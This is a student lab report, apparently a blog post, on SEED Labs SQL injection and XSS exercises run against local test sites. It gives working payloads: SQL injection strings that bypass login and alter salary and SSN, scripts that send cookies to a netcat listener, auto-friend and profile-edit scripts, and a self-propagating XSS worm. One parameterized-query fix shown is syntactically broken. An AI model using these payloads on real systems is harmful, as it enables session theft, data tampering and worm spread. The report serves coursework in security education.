20232807 2023-2024-2 《网络攻防实践》实践十报告

一、实验内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 弹窗显示cookie信息:将cookie信息显示。

  • 窃取受害者的cookies:将cookie发送给攻击者。

  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  • 编写XSS蠕虫。

  • 对抗XSS攻击。

二、实验过程

本次实验在SEEDUbuntu中进行。

Ⅰ、SEED SQL注入攻击与防御实验

(1)在SEED Ubuntu中输入mysql -u root -p打开数据库
在这里插入图片描述
(2)输入以下命令查看数据表
use Users;
show tables;
select * from credentials;

在这里插入图片描述
在这里插入图片描述

1、对SELECT语句的SQL注入攻击

(1)访问http://www.seedlabsqlinjection.com/,随便输入用户名和密码

在这里插入图片描述
在这里插入图片描述
(2)单击F12,选择"Network",再刷新网页,能看到重新得到了Get请求
在这里插入图片描述
(3)检查一下unsafe_home.php的代码,我们在命令行中输入vim /var/www/SQLInjection/unsafe_home.php
在这里插入图片描述
在这里插入图片描述
(4)进行sql查询注入,SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ‘ i n p u t u n a m e ′ a n d P a s s w o r d = ′ input_uname' and Password=' inputunameandPassword=hashed_pwd’;
在这里插入图片描述
可以发现管理员账号是Admin
在这里插入图片描述
SQL中#表示注释,在输入账号后紧接着输入一个单引号’将筛选条件终止,后面的命令都将注释掉,那么这条SQL语句就能够直接被执行。
因为管理员账号是Admin,我们可以通过输入Admin’#,直接进入管理员界面,因为这条语句把密码注释掉了,仍能执行该条Sql语句。
在这里插入图片描述
在这里插入图片描述

2、对UPDATE语句的SQL注入攻击

刚才已成功登录Admin账号,点击上方的Edit Profile
在这里插入图片描述
按下F12,登录其中一个账号(Boby),发现unsafe_edit_backend.php页面发送了一个GET请求
在这里插入图片描述
在终端中输入命令vim/var/www/SQLInjection/unsafe_edit_backend.php查看unsafe_edit_backend.php文件的源码
在这里插入图片描述
在 NickName 一栏输入’, salary=‘50000’,SSN=‘20232807’ where Name=‘Alice’;#,
在这里插入图片描述

在这里插入图片描述

3、 SQL对抗

分析php文件源代码,发现Sql语句的苏剧和命令的判定没有分开,无法区分原始sql语句和用户数据
修改select语句

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password 
	FROM credential 
	WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述
在这里插入图片描述
再次输入Admin‘#登录管理员界面,发现不能登进去
在这里插入图片描述
将update语句进行修改

# 第一条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address,$input_password, $input_phonenumber);
# 第二条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

发现一直卡在空白页面,可知Updta对数据库的修改失败
在这里插入图片描述

Ⅱ、SSED XSS跨站脚本攻击实验

1、 发布恶意消息,显示警报窗口

访问http://www.xsslabelgg.com/,用户名为Alice,密码为seedalice
在这里插入图片描述
在这里插入图片描述
在Edit Profile处输入 <script>alert("xss");</script> 点击保存

在这里插入图片描述
点击保存,再次进入Alice主页是会弹出消息xxs
在这里插入图片描述

2、弹窗显示 cookie 信息

和之前一样,在“Brief description”中输入<script> alert(document.cookie);</script>点击“save”,变为弹窗显示cookie信息。
在这里插入图片描述

3、 窃取受害者的 cookies

1、和之前的一样,在“Brief description”中输入以下代码,点击“save”。

<script>
  document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>

2、开启终端并输入nc -l 5555 -v命令监听5555端口,每次访问Alice的主页都会监听到信息
在这里插入图片描述

4、 成为受害者的朋友

进入个人主页Boby:www.xsslabelgg.com/profile/boby
按下F12,打开开发者工具,然后切换到Network选项卡。点击“Add friend”,获得一个Post请求
在这里插入图片描述
其中携带三个参数
在这里插入图片描述
构造js代码,用于添加好友

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
 
  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

再Alice页面中点击Edit profile,再About me的右侧Edit HTML中输入上面的代码
在这里插入图片描述
以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页,发现Boby已经将Alice添加为好友了。
在这里插入图片描述

5、 修改受害者的信息

构造如下代码

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>Edited By 20232807ZZ</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var aliceGuid=44;
        if(elgg.session.user.guid!=aliceGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

打开Alice的Edit profile页面,点击About me右侧的Edit HTML。
以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页
在这里插入图片描述

6、编写XXS蠕虫

编写蠕虫的代码

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>XSS Attack By 20232807ZZ"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
     
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

在Alice的Edit profile页面中,找到About me右侧的Edit HTML,填写以上代码并保存
以Boby的身份登录,访问Alice的主页后,再返回Boby的主页,发现在About me中得到信息XSS attack By 20232807ZZ
在这里插入图片描述
以Samy的身份登录,访问Boby的主页,再返回Samy的主页,仍然发现信息被修改
在这里插入图片描述

7、对抗XSS攻击

以管理员Admin的身份进行登录,用户名为Admin,密码为seedelgg
在这里插入图片描述
登录后,依次点击右上角的Account - Administration
在这里插入图片描述
点击右侧的Plugins
在这里插入图片描述
找到HTMLawed,发现该插件已被激活,不需要再进行操作,该插件用于提供安全校验
如果显示Deactivate就表示已经激活了,
如果是显示Activate,需要将其切换为Deactivate激活该插件
在这里插入图片描述
再次以Samy的身份,访问Alice的主页
发现Alice中的蠕虫攻击已失效
在这里插入图片描述
证明对抗成功

三、遇到的问题和解决方案

问题1:在实验过程中SEEDUbuntu突然黑屏了,不显示鼠标和页面
解决方案:把原有的虚拟机删掉了,重新导入了新的虚拟机Ubuntu

问题2:在进行SEED SQL注入实验时,对update语句进行修改时没办法保存,一直报错
解决方案:是因为没有进入root权限,先输入sudo -su,进入管理员权限之后在再修改语句,可以将其成功保存

四、实践总结

在本次实验中我学习到了次XSS攻击和SQL注入攻击,对SELECT和UPDATE语句进行注入,了解到了通过这些漏洞可以绕过身份验证、获取敏感信息或篡改数据。
在实验中还会遇到一些粗心的小错误,这证明还需要提高自己的细致度,提高自己的实践能力。

  • 13
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值